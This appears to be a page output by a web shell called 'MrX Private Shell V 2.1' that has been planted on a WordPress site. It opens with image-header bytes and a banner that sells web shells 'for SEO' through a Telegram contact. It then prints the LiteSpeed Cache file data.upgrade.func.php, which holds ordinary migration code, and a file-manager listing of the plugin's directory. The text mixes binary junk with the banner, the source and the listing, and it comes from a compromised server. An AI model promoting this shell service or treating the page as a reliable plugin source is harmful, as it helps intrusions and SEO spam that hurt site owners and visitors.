����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Database upgrade funcs
*
* NOTE: whenever called this file, always call Data::get_upgrade_lock and Data::_set_upgrade_lock first.
*
* @package LiteSpeed
* @since 3.0
*/
defined( 'WPINC' ) || exit();
use LiteSpeed\Debug2;
use LiteSpeed\Cloud;
use LiteSpeed\Conf;
/**
* Check whether a DB table exists.
*
* @since 7.2
*
* @param string $table_name Fully-qualified table name.
* @return bool
*/
function litespeed_table_exists( $table_name ) {
global $wpdb;
$save_state = $wpdb->suppress_errors;
$wpdb->suppress_errors( true );
// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnquotedComplexPlaceholder, WordPress.DB.DirectDatabaseQuery.DirectQuery
$tb_exists = $wpdb->get_var( $wpdb->prepare( 'DESCRIBE `%1s`', $table_name ) );
$wpdb->suppress_errors( $save_state );
return null !== $tb_exists;
}
/**
* Migrate v7.0- url_files URL from no trailing slash to trailing slash.
*
* @since 7.0.1
* @return void
*/
function litespeed_update_7_0_1() {
global $wpdb;
Debug2::debug( '[Data] v7.0.1 upgrade started' );
$tb_url = $wpdb->prefix . 'litespeed_url';
if ( ! litespeed_table_exists( $tb_url ) ) {
Debug2::debug( '[Data] Table `litespeed_url` not found, bypassed migration' );
return;
}
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery
$list = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM `{$tb_url}` WHERE url LIKE %s", 'https://%/' ), ARRAY_A );
$existing_urls = array();
if ($list) {
foreach ($list as $v) {
$existing_urls[] = $v['url'];
}
}
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery
$list = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM `{$tb_url}` WHERE url LIKE %s", 'https://%' ), ARRAY_A );
if ( ! $list ) {
return;
}
foreach ( $list as $v ) {
if ( '/' === substr( $v['url'], -1 ) ) {
continue;
}
$new_url = $v['url'] . '/';
if ( in_array( $new_url, $existing_urls, true ) ) {
continue;
}
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery
$wpdb->query( $wpdb->prepare( "UPDATE `{$tb_url}` SET url = %s WHERE id = %d", $new_url, $v['id'] ) );
}
}
/**
* Migrate from domain key to pk/sk for QC
*
* @since 7.0
*/
function litespeed_update_7() {
Debug2::debug('[Data] v7 upgrade started');
$__cloud = Cloud::cls();
$domain_key = $__cloud->conf('api_key');
if (!$domain_key) {
Debug2::debug('[Data] No domain key, bypassed migration');
return;
}
$new_prepared = $__cloud->init_qc_prepare();
if (!$new_prepared && $__cloud->activated()) {
Debug2::debug('[Data] QC previously activated in v7, bypassed migration');
return;
}
$data = array(
'domain_key' => $domain_key,
);
$resp = $__cloud->post(Cloud::SVC_D_V3UPGRADE, $data);
if ( ! empty( $resp['qc_activated'] ) ) {
if ( 'deleted' !== $resp['qc_activated'] ) {
$cloud_summary_updates = array( 'qc_activated' => $resp['qc_activated'] );
if (!empty($resp['main_domain'])) {
$cloud_summary_updates['main_domain'] = $resp['main_domain'];
}
Cloud::save_summary($cloud_summary_updates);
Debug2::debug('[Data] Updated QC activated status to ' . $resp['qc_activated']);
}
}
}
/**
* Drop deprecated guest_ips and guest_uas from DB options.
* Migrate url table to make all links trailing slash for UCSS/CCSS.
*
* These values are now read from files instead.
*
* @since 7.7
*/
function litespeed_update_7_7() {
global $wpdb;
Debug2::debug( '[Data] v7.7 upgrade: dropping guest_ips/guest_uas options' );
Conf::delete_option( 'conf.guest_ips' );
Conf::delete_option( 'conf.guest_uas' );
Conf::delete_site_option( 'conf.guest_ips' );
Conf::delete_site_option( 'conf.guest_uas' );
// Normalize all URLs to have trailing slash to match UCSS/CCSS generation logic
Debug2::debug( '[Data] v7.7 upgrade: normalizing URL trailing slashes' );
// Skip if plain permalink mode (no trailing slash)
$permalink_structure = get_option( 'permalink_structure' );
if ( empty( $permalink_structure ) ) {
Debug2::debug( '[Data] Plain permalink mode, bypassed URL trailing slash migration' );
return;
}
$tb_url = $wpdb->prefix . 'litespeed_url';
if ( ! litespeed_table_exists( $tb_url ) ) {
Debug2::debug( '[Data] Table `litespeed_url` not found, bypassed URL migration' );
return;
}
// Check if there are URLs without trailing slash (exclude URLs with query string)
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery
$count = $wpdb->get_var( "SELECT COUNT(*) FROM `{$tb_url}` WHERE url LIKE 'https://%' AND url NOT LIKE '%/' AND url NOT LIKE '%?%'" );
if ( ! $count ) {
Debug2::debug( '[Data] No URLs without trailing slash found, bypassed' );
return;
}
// Append trailing slash to all URLs that don't have one and don't have duplicate with slash (exclude URLs with query string)
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery
$wpdb->query( "UPDATE `{$tb_url}` SET url = CONCAT(url, '/') WHERE url LIKE 'https://%' AND url NOT LIKE '%/' AND url NOT LIKE '%?%' AND CONCAT(url, '/') NOT IN (SELECT * FROM (SELECT url FROM `{$tb_url}` WHERE url LIKE '%/') AS tmp)" );
}
/**
* Append webp/mobile to url_file
*
* @since 5.3
*/
function litespeed_update_5_3() {
global $wpdb;
Debug2::debug('[Data] Upgrade url_file table');
$tb = $wpdb->prefix . 'litespeed_url_file';
if ( litespeed_table_exists( $tb ) ) {
$q = "ALTER TABLE `{$tb}`
ADD COLUMN `mobile` tinyint(4) NOT NULL COMMENT 'mobile=1',
ADD COLUMN `webp` tinyint(4) NOT NULL COMMENT 'webp=1'
";
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery
$wpdb->query( $q );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cdn | Folder | 0755 |
|
|
| data_structure | Folder | 0755 |
|
|
| activation.cls.php | File | 17.31 KB | 0644 |
|
| admin-display.cls.php | File | 48.47 KB | 0644 |
|
| admin-settings.cls.php | File | 11.12 KB | 0644 |
|
| admin.cls.php | File | 6.13 KB | 0644 |
|
| api.cls.php | File | 10.36 KB | 0644 |
|
| avatar.cls.php | File | 8.65 KB | 0644 |
|
| base.cls.php | File | 37.66 KB | 0644 |
|
| cdn.cls.php | File | 15.92 KB | 0644 |
|
| cloud-auth-callback.trait.php | File | 10.43 KB | 0644 |
|
| cloud-auth-ip.trait.php | File | 4.33 KB | 0644 |
|
| cloud-auth.trait.php | File | 9.38 KB | 0644 |
|
| cloud-misc.trait.php | File | 10.32 KB | 0644 |
|
| cloud-node.trait.php | File | 5.95 KB | 0644 |
|
| cloud-request.trait.php | File | 19.68 KB | 0644 |
|
| cloud.cls.php | File | 7.32 KB | 0644 |
|
| conf.cls.php | File | 19.53 KB | 0644 |
|
| control.cls.php | File | 24.35 KB | 0644 |
|
| core.cls.php | File | 20.97 KB | 0644 |
|
| crawler-map.cls.php | File | 19.41 KB | 0644 |
|
| crawler.cls.php | File | 44.72 KB | 0644 |
|
| css.cls.php | File | 17.77 KB | 0644 |
|
| data.cls.php | File | 22.21 KB | 0644 |
|
| data.upgrade.func.php | File | 5.72 KB | 0644 |
|
| db-optm.cls.php | File | 15.35 KB | 0644 |
|
| debug2.cls.php | File | 18.4 KB | 0644 |
|
| doc.cls.php | File | 5.45 KB | 0644 |
|
| error.cls.php | File | 7.35 KB | 0644 |
|
| esi.cls.php | File | 27.18 KB | 0644 |
|
| file.cls.php | File | 10.57 KB | 0644 |
|
| guest.cls.php | File | 2.75 KB | 0644 |
|
| gui.cls.php | File | 36.57 KB | 0644 |
|
| health.cls.php | File | 2.83 KB | 0644 |
|
| htaccess.cls.php | File | 29.81 KB | 0644 |
|
| img-optm-manage.trait.php | File | 30.85 KB | 0644 |
|
| img-optm-pull.trait.php | File | 22.1 KB | 0644 |
|
| img-optm-send.trait.php | File | 21.9 KB | 0644 |
|
| img-optm.cls.php | File | 5.26 KB | 0644 |
|
| import.cls.php | File | 4.29 KB | 0644 |
|
| import.preset.cls.php | File | 5.5 KB | 0644 |
|
| lang.cls.php | File | 17.02 KB | 0644 |
|
| localization.cls.php | File | 4.03 KB | 0644 |
|
| media.cls.php | File | 44.08 KB | 0644 |
|
| metabox.cls.php | File | 5.29 KB | 0644 |
|
| object-cache-wp.cls.php | File | 18.82 KB | 0644 |
|
| object-cache.cls.php | File | 20.95 KB | 0644 |
|
| object.lib.php | File | 14.16 KB | 0644 |
|
| optimize.cls.php | File | 38.64 KB | 0644 |
|
| optimizer.cls.php | File | 10.5 KB | 0644 |
|
| placeholder.cls.php | File | 17.93 KB | 0644 |
|
| purge.cls.php | File | 34.41 KB | 0644 |
|
| report.cls.php | File | 6.12 KB | 0644 |
|
| rest.cls.php | File | 9.08 KB | 0644 |
|
| root.cls.php | File | 14.29 KB | 0644 |
|
| router.cls.php | File | 20.76 KB | 0644 |
|
| str.cls.php | File | 3.08 KB | 0644 |
|
| tag.cls.php | File | 9.26 KB | 0644 |
|
| task.cls.php | File | 7.05 KB | 0644 |
|
| tool.cls.php | File | 4.17 KB | 0644 |
|
| ucss.cls.php | File | 16.35 KB | 0644 |
|
| utility.cls.php | File | 26.01 KB | 0644 |
|
| vary.cls.php | File | 21.33 KB | 0644 |
|
| vpi.cls.php | File | 9.38 KB | 0644 |
|